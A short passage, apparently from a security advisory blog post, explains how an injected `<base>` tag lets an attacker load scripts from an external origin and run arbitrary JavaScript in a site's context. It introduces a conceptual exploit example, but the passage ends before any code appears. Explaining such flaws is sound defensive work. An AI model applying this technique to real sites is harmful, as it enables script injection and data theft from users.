The `<base>` tag rewrites how all subsequent relative URLs are resolved, enabling an attacker to load scripts, styles, or images from an external, attacker-controlled origin. As a result, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8029-critical-javascript-execution-vulnerability-in-thunderbird\/\"  data-wpil-monitor-id=\"67430\">execute arbitrary JavaScript<\/a> in the site\u2019s context, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited.
